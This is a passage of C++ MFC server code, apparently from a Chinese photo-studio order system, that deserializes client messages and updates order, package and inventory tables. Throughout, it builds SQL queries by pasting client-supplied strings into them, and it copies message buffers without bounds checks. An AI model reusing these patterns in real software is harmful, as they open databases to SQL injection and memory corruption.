(g_List1array.ElementAt(0).GetSize() > 1) { for (ii = 0; ii < g_List1array.GetSize(); ii++) { sql.Format("insert into taoxishangpin1(taoxiid,spid1,shuliang)values('%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(1), g_List1array.ElementAt(ii).ElementAt(2)); MyExecuteSQL(sql); } } } BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 2) { { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage + (nMessageLen - sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); int ii = 0; for (/*int*/ ii = 0; ii < g_List1array.GetSize(); ii++) { g_List1array.ElementAt(ii).Serialize(ar); } ar.Close(); memfile.Detach(); CString sql; sql = "delete from taoxishangpin2 where taoxiid='" + g_List1array.ElementAt(0).ElementAt(0) + "' "; MyExecuteSQL(sql); if (g_List1array.ElementAt(0).GetSize() > 1) { for (ii = 0; ii < g_List1array.GetSize(); ii++) { sql.Format("insert into taoxishangpin2(taoxiid,spid2,shuliang)values('%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(1), g_List1array.ElementAt(ii).ElementAt(2)); MyExecuteSQL(sql); } } } BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 3) { { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage + (nMessageLen - sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); int ii = 0; for (/*int*/ ii = 0; ii < g_List1array.GetSize(); ii++) { g_List1array.ElementAt(ii).Serialize(ar); } ar.Close(); memfile.Detach(); CString sql; CString status1, status2; status1 = "未完成"; status2 = "未取"; CString clerk = g_List1array.ElementAt(count - 1).ElementAt(0); CString date = CTime::GetCurrentTime().Format("%Y-%m-%d %H:%M:%S"); CString sql2, bookingdate; BOOL bGetDate = 0; if (g_List1array.GetSize()>1) { if (g_List1array.ElementAt(g_List1array.GetSize() - 2).ElementAt(0) == "成长套系") { for (int a = 1; a < g_List1array.ElementAt(g_List1array.GetSize() - 2).GetSize(); a++) { for (ii = 0; ii < g_List1array.GetSize() - 2; ii++) { if (g_List1array.ElementAt(ii).GetSize() == 2) { if (bGetDate == 0) { bGetDate = 1; CString id = g_List1array.ElementAt(g_List1array.GetSize() - 2).ElementAt(a); CRecordset myset(m_pConndb); CString sql = "select [time2] from [dindan] where [id]='" + id + "' "; myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("time2", bookingdate); myset.Close(); } sql.Format("insert into dindanjd([id],[name],[bookingdate],[status])values('%s','%s','%s','未拍')", g_List1array.ElementAt(g_List1array.GetSize() - 2).ElementAt(a), g_List1array.ElementAt(ii).ElementAt(1), bookingdate); MyExecuteSQL(sql); } else if (g_List1array.ElementAt(ii).GetSize() > 2) { sql.Format("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[urgent],[taketime])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')", g_List1array.ElementAt(g_List1array.GetSize() - 2).ElementAt(a), g_List1array.ElementAt(ii).ElementAt(1), g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(5), status1, status2, g_List1array.ElementAt(ii).ElementAt(6), g_List1array.ElementAt(ii).ElementAt(7)); /////////////// sql2.Format("insert into dindansp2([id],[name],[count],[date],[clerk])values('%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(5), g_List1array.ElementAt(ii).ElementAt(3), date, clerk); MyExecuteSQL(sql2); MyExecuteSQL(sql); /////////////// } } } } else { for (ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).GetSize() == 2) { if (bGetDate == 0) { bGetDate = 1; CString id = g_List1array.ElementAt(ii).ElementAt(0); CRecordset myset(m_pConndb); CString sql = "select [time2] from [dindan] where [id]='" + id + "' "; myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("time2", bookingdate); myset.Close(); } sql.Format("insert into dindanjd([id],[name],[bookingdate],[status])values('%s','%s','%s','未拍')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(1), bookingdate); MyExecuteSQL(sql); } else if (g_List1array.ElementAt(ii).GetSize() > 2) { if (g_List1array.ElementAt(ii).GetSize() == 8) sql.Format("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[urgent],[taketime])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(1), g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(5), status1, status2, g_List1array.ElementAt(ii).ElementAt(6), g_List1array.ElementAt(ii).ElementAt(7)); else sql.Format("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[urgent],[taketime],[growthtxname])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(1), g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(5), status1, status2, g_List1array.ElementAt(ii).ElementAt(6), g_List1array.ElementAt(ii).ElementAt(7), g_List1array.ElementAt(ii).ElementAt(8)); /////////////// sql2.Format("insert into dindansp2([id],[name],[count],[date],[clerk])values('%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(5), g_List1array.ElementAt(ii).ElementAt(3), date, clerk); MyExecuteSQL(sql2); MyExecuteSQL(sql); /////////////// } } } } } BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 4) // data字段; { ENCODE_START CRstUpdate rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.Open(); if (rsSt.IsEOF()) rsSt.AddNew(); else rsSt.Edit(); rsSt.data.m_dwDataLength = nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR, nMessageLen); rsSt.data.m_hData = GlobalLock(hGlobal); memcpy(rsSt.data.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data); rsSt.SetFieldNull(&rsSt.data, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); ENCODE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 5) // data2字段; { ENCODE_START CRstUpdate rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.Open(); if (rsSt.IsEOF()) rsSt.AddNew(); else rsSt.Edit(); rsSt.data2.m_dwDataLength = nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR, nMessageLen); rsSt.data2.m_hData = GlobalLock(hGlobal); memcpy(rsSt.data2.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data2); rsSt.SetFieldNull(&rsSt.data2, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); ENCODE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 6) {// 选片; { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage + (nMessageLen - sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); int ii = 0; for (/*int*/ ii = 0; ii < g_List1array.GetSize(); ii++) { g_List1array.ElementAt(ii).Serialize(ar); } ar.Close(); memfile.Detach(); CString sql; if (g_List1array.GetSize() == 2) { if (g_List1array.ElementAt(0).GetSize() == 1) { sql.Format("delete from dindansp where id='%s'", g_List1array.ElementAt(0).ElementAt(0)); MyExecuteSQL(sql); goto ll; } } CString clerk = g_List1array.ElementAt(count - 1).ElementAt(0); CString date = CTime::GetCurrentTime().Format("%Y-%m-%d %H:%M:%S"); CString sql2; CString growthtxname = g_List1array.ElementAt(0).ElementAt(8); if (growthtxname != "" && growthtxname != "全部") sql = "delete from dindansp where kind<>'2' and id='" + g_List1array.ElementAt(0).ElementAt(0) + "' and [growthtxname]='" + growthtxname + "' and autoid<>"; else sql = "delete from dindansp where kind<>'2' and id='" + g_List1array.ElementAt(0).ElementAt(0) + "' and autoid<>"; for (ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).GetSize() == 1)continue; if (g_List1array.ElementAt(ii).ElementAt(1) != "") { sql += g_List1array.ElementAt(ii).ElementAt(1); sql += " and autoid<>"; } } sql.TrimRight("and autoid<>"); MyExecuteSQL(sql); for (ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).GetSize() == 1)continue; if (g_List1array.ElementAt(ii).ElementAt(1) != "") { #ifdef LKAY_VERSION sql.Format ("update dindansp set no='%s',spid='%s',name='%s',shuliang='%s',ps='%d',zs='%d' where autoid=%d", g_List1array.ElementAt(ii).ElementAt(8),g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(5), atoi(g_List1array.ElementAt(ii).ElementAt(6)),atoi(g_List1array.ElementAt(ii).ElementAt(7)),atol(g_List1array.ElementAt(ii).ElementAt(1))); #else sql.Format("update dindansp set no='%s',spid='%s',name='%s',shuliang='%s',bz = '%s' where autoid=%d", g_List1array.ElementAt(ii).ElementAt(6), g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(5), g_List1array.ElementAt(ii).ElementAt(7), atol(g_List1array.ElementAt(ii).ElementAt(1))); #endif MyExecuteSQL(sql); } else { #ifdef LKAY_VERSION sql.Format ("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[ps],[zs],[no],[growthtxname])values('%s','%s','%s','%s','%s','%s','%s','%s','%d','%d','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),"1", g_List1array.ElementAt(ii).ElementAt(3),"未完成","未取",atoi(g_List1array.ElementAt(ii).ElementAt(6)),atoi(g_List1array.ElementAt(ii).ElementAt(7)),g_List1array.ElementAt(ii).ElementAt(8),g_List1array.ElementAt(ii).ElementAt(10)); #else sql.Format("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[no],[growthtxname],[bz])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(5), "1", g_List1array.ElementAt(ii).ElementAt(3), "未完成", "未取", g_List1array.ElementAt(ii).ElementAt(6), g_List1array.ElementAt(ii).ElementAt(8), g_List1array.ElementAt(ii).ElementAt(7)); #endif MyExecuteSQL(sql); } /////////////// sql2.Format("insert into dindansp2([id],[name],[count],[date],[clerk])values('%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(5), date, clerk); MyExecuteSQL(sql2); /////////////// } } ll: BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 7)//界面 { CArraydataarray; BYTE *szChatMessage = ptChatMessage->byFileContent; { CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); dataarray.Serialize(ar); ar.Close(); memfile.Detach(); } DWORD pos = dataarray.ElementAt(0); DWORD leng1, leng2, leng3, leng4, leng5, leng6, leng7, leng8; leng1 = dataarray.ElementAt(1); leng2 = dataarray.ElementAt(2); leng3 = dataarray.ElementAt(3); leng4 = dataarray.ElementAt(4); leng5 = dataarray.ElementAt(5); leng6 = dataarray.ElementAt(6); leng7 = dataarray.ElementAt(7); leng8 = dataarray.ElementAt(8); if (pos % 4 == 0) DeCodelong1((int&)leng1, (int&)leng2, (int&)leng3, (int&)leng4, (int&)leng5, (int&)leng6, (int&)leng7, (int&)leng8); else if (pos % 4 == 1) DeCodelong2((int&)leng1, (int&)leng2, (int&)leng3, (int&)leng4, (int&)leng5, (int&)leng6, (int&)leng7, (int&)leng8); else if (pos % 4 == 2) DeCodelong3((int&)leng1, (int&)leng2, (int&)leng3, (int&)leng4, (int&)leng5, (int&)leng6, (int&)leng7, (int&)leng8); else DeCodelong4((int&)leng1, (int&)leng2, (int&)leng3, (int&)leng4, (int&)leng5, (int&)leng6, (int&)leng7, (int&)leng8); DWORD rcpos[32]; int i = 0; for (/*int*/ i = 0; i < 32; i++) rcpos[i] = dataarray.ElementAt(9 + i); i = 0; DeCodelong1((int&)rcpos[i], (int&)rcpos[i + 1], (int&)rcpos[i + 2], (int&)rcpos[i + 3], (int&)rcpos[i + 4], (int&)rcpos[i + 5], (int&)rcpos[i + 6], (int&)rcpos[i + 7]); i = 8; DeCodelong2((int&)rcpos[i], (int&)rcpos[i + 1], (int&)rcpos[i + 2], (int&)rcpos[i + 3], (int&)rcpos[i + 4], (int&)rcpos[i + 5], (int&)rcpos[i + 6], (int&)rcpos[i + 7]); i = 16; DeCodelong3((int&)rcpos[i], (int&)rcpos[i + 1], (int&)rcpos[i + 2], (int&)rcpos[i + 3], (int&)rcpos[i + 4], (int&)rcpos[i + 5], (int&)rcpos[i + 6], (int&)rcpos[i + 7]); i = 24; DeCodelong4((int&)rcpos[i], (int&)rcpos[i + 1], (int&)rcpos[i + 2], (int&)rcpos[i + 3], (int&)rcpos[i + 4], (int&)rcpos[i + 5], (int&)rcpos[i + 6], (int&)rcpos[i + 7]); DWORD nPicCount, nPicCount2; nPicCount = dataarray.ElementAt(41); nPicCount2 = dataarray.ElementAt(42); DeCodePicCount((int&)nPicCount, (int&)nPicCount2); DWORD bkleng, bkleng2; bkleng = dataarray.ElementAt(43); bkleng2 = dataarray.ElementAt(44); DeCodePicCount((int&)bkleng, (int&)bkleng2); ENCODE_START dataarray.SetAt(1, leng1); dataarray.SetAt(2, leng2); dataarray.SetAt(3, leng3); dataarray.SetAt(4, leng4); dataarray.SetAt(5, leng5); dataarray.SetAt(6, leng6); dataarray.SetAt(7, leng7); dataarray.SetAt(8, leng8); for (i = 0; i < 32; i++) dataarray.SetAt(9 + i, rcpos[i]); dataarray.SetAt(41, nPicCount); dataarray.SetAt(42, nPicCount2); dataarray.SetAt(43, bkleng); dataarray.SetAt(44, bkleng2); ENCODE_END int length = 0; BYTE *pData = NULL; { CMemFile memfile; CArchive ar(&memfile, CArchive::store); ENCODE_START dataarray.Serialize(ar); ar.Close(); length = memfile.GetLength(); pData = memfile.Detach(); ENCODE_END BYTE *szDataBuf = pData; int nDataLen = length; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } } else if (dwToUserID == 8)//订单修改商品 { ENCODE_START { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage + (nMessageLen - sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); int ii = 0; for (/*int*/ ii = 0; ii < g_List1array.GetSize(); ii++) { g_List1array.ElementAt(ii).Serialize(ar); } ar.Close(); memfile.Detach(); CString sql; CString filter, temp; if (g_List1array.ElementAt(0).GetSize() > 1) { for (ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).GetSize() == 2)continue; if (g_List1array.ElementAt(ii).GetSize() == 1)continue; if (g_List1array.ElementAt(ii).ElementAt(1) != "") { temp.Format("and autoid<>%d ", atol(g_List1array.ElementAt(ii).ElementAt(1))); filter += temp; } } } sql = "delete from dindansp where id='" + g_List1array.ElementAt(0).ElementAt(0) + "' and kind<>'4' and kind<>'5' " + filter; MyExecuteSQL(sql); filter = ""; if (g_List1array.ElementAt(0).GetSize() > 1) { for (ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).GetSize() != 2)continue; temp.Format("and name<>'%s' ", g_List1array.ElementAt(ii).ElementAt(1)); filter += temp; } } sql = "delete from dindanjd where id='" + g_List1array.ElementAt(0).ElementAt(0) + "' " + filter; MyExecuteSQL(sql); CRecordset myset(m_pConndb); sql = "select name from dindanjd where id='" + g_List1array.ElementAt(0).ElementAt(0) + "'"; myset.Open(CRecordset::forwardOnly, sql); CStringArray idarray2; while (!myset.IsEOF()) { myset.GetFieldValue("name", sql); idarray2.Add(sql); myset.MoveNext(); } myset.Close(); CString clerk = g_List1array.ElementAt(count - 1).ElementAt(0); CString date = CTime::GetCurrentTime().Format("%Y-%m-%d %H:%M:%S"); CString sql2; if (g_List1array.ElementAt(0).GetSize() > 1) { for (ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).GetSize() == 2) { if (::FindArray(&idarray2, g_List1array.ElementAt(ii).ElementAt(1)) != -1)continue; sql.Format("insert into dindanjd([id],[name],[status])values('%s','%s','未拍')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(1)); MyExecuteSQL(sql); } else if (g_List1array.ElementAt(ii).GetSize() > 1) { if (g_List1array.ElementAt(ii).ElementAt(1) != "") { sql.Format("update dindansp set [spid]='%s',[name]='%s',[shuliang]='%s',[price]='%s',[urgent]='%s',[taketime]='%s' where [autoid]=%d", g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(5), g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(7), g_List1array.ElementAt(ii).ElementAt(8), atol(g_List1array.ElementAt(ii).ElementAt(1))); } else { if (g_List1array.ElementAt(ii).GetSize() == 9) sql.Format("insert into dindansp([id],[spid],[name],[price],[shuliang],[kind],[status1],[status2],[urgent],[taketime])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(5), g_List1array.ElementAt(ii).ElementAt(6), "未完成", "未取", g_List1array.ElementAt(ii).ElementAt(7), g_List1array.ElementAt(ii).ElementAt(8)); else//成长套系 sql.Format("insert into dindansp([id],[spid],[name],[price],[shuliang],[kind],[status1],[status2],[urgent],[taketime],[growthtxname])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(5), g_List1array.ElementAt(ii).ElementAt(6), "未完成", "未取", g_List1array.ElementAt(ii).ElementAt(7), g_List1array.ElementAt(ii).ElementAt(8), g_List1array.ElementAt(ii).ElementAt(9)); } /////////////// sql2.Format("insert into dindansp2([id],[name],[count],[date],[clerk])values('%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(5), date, clerk); MyExecuteSQL(sql2); MyExecuteSQL(sql); /////////////// } } } } ENCODE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 9) { ENCODE_START { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage + (nMessageLen - sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); int ii = 0; for (/*int*/ ii = 0; ii < g_List1array.GetSize(); ii++) { g_List1array.ElementAt(ii).Serialize(ar); } ar.Close(); memfile.Detach(); CString sql; CString id; CArraystoreinfoarray; { CRecordset myset(m_pConndb); CString sql = "select count(*) as cot from [storeinfo]"; myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", sql); myset.Close(); storeinfoarray.SetSize(atol(sql), 1); CGoodsinfoSet rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.Open(); DWORD ii = 0; while (!rsSt.IsEOF()) { storeinfoarray.ElementAt(ii).RemoveAll(); storeinfoarray.ElementAt(ii).Add(rsSt.m_type); storeinfoarray.ElementAt(ii).Add(rsSt.m_name); ii++; rsSt.MoveNext(); if (storeinfoarray.GetSize() <= ii)break; } rsSt.Close(); storeinfoarray.SetSize(ii, 1); } CArraystoreinfoarray2; { //int ii = 0; for (/*int*/ ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).GetSize() == 5) { id = g_List1array.ElementAt(ii).ElementAt(0) + "(订单使用)"; break; } } CRecordset myset(m_pConndb); CString sql = "select count(*) as cot from [storeinfo2] where [id]='" + id + "'"; myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", sql); myset.Close(); storeinfoarray2.SetSize(atol(sql), 1); CGoodsinfoSet2 rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.m_strFilter = "[id]='" + id + "'"; rsSt.Open(); ii = 0; while (!rsSt.IsEOF()) { storeinfoarray2.ElementAt(ii).RemoveAll(); storeinfoarray2.ElementAt(ii).Add(rsSt.m_type); storeinfoarray2.ElementAt(ii).Add(rsSt.m_name); ii++; rsSt.MoveNext(); if (storeinfoarray2.GetSize() <= ii)break; } rsSt.Close(); storeinfoarray2.SetSize(ii, 1); } for (ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).GetSize() == 5)continue; #ifdef LKAY_VERSION sql.Format ("update dindansp set status3='%s',status4='%s',status1='%s',status2='%s',date1='%s',name1='%s',date2='%s',name2='%s',date3='%s',name3='%s',date4='%s',name4='%s',status5='%s',status6='%s',date5='%s',name5='%s',date6='%s',name6='%s' where autoid=%d", g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(5),g_List1array.ElementAt(ii).ElementAt(9),g_List1array.ElementAt(ii).ElementAt(10), g_List1array.ElementAt(ii).ElementAt(11),g_List1array.ElementAt(ii).ElementAt(12),g_List1array.ElementAt(ii).ElementAt(13), g_List1array.ElementAt(ii).ElementAt(14),g_List1array.ElementAt(ii).ElementAt(15),g_List1array.ElementAt(ii).ElementAt(16), g_List1array.ElementAt(ii).ElementAt(23),g_List1array.ElementAt(ii).ElementAt(24),g_List1array.ElementAt(ii).ElementAt(25), g_List1array.ElementAt(ii).ElementAt(26),g_List1array.ElementAt(ii).ElementAt(27),g_List1array.ElementAt(ii).ElementAt(28), atol(g_List1array.ElementAt(ii).ElementAt(6))); #else sql.Format("update dindansp set status3='%s',status4='%s',status1='%s',status2='%s',date1='%s',name1='%s',date2='%s',name2='%s',date3='%s',name3='%s',date4='%s',name4='%s' where autoid=%d", g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(5), g_List1array.ElementAt(ii).ElementAt(9), g_List1array.ElementAt(ii).ElementAt(10), g_List1array.ElementAt(ii).ElementAt(11), g_List1array.ElementAt(ii).ElementAt(12), g_List1array.ElementAt(ii).ElementAt(13), g_List1array.ElementAt(ii).ElementAt(14), g_List1array.ElementAt(ii).ElementAt(15), g_List1array.ElementAt(ii).ElementAt(16), atol(g_List1array.ElementAt(ii).ElementAt(6))); #endif MyExecuteSQL(sql); } for (ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).GetSize() != 5)continue;//加库存 if (g_List1array.ElementAt(ii).ElementAt(4) != "1")continue; CString id = g_List1array.ElementAt(ii).ElementAt(0) + "(订单使用)"; CString lb = g_List1array.ElementAt(ii).ElementAt(1); CString name = g_List1array.ElementAt(ii).ElementAt(2); CString count = g_List1array.ElementAt(ii).ElementAt(3); BOOL bNoReg = 1; int bb = 0; for (/*int*/ bb = 0; bb < storeinfoarray.GetSize(); bb++) { if (storeinfoarray.ElementAt(bb).ElementAt(0) == lb && storeinfoarray.ElementAt(bb).ElementAt(1) == name) { bNoReg = 0; break; } } if (bNoReg)continue; BOOL bExist = 0; for (bb = 0; bb < storeinfoarray2.GetSize(); bb++) { if 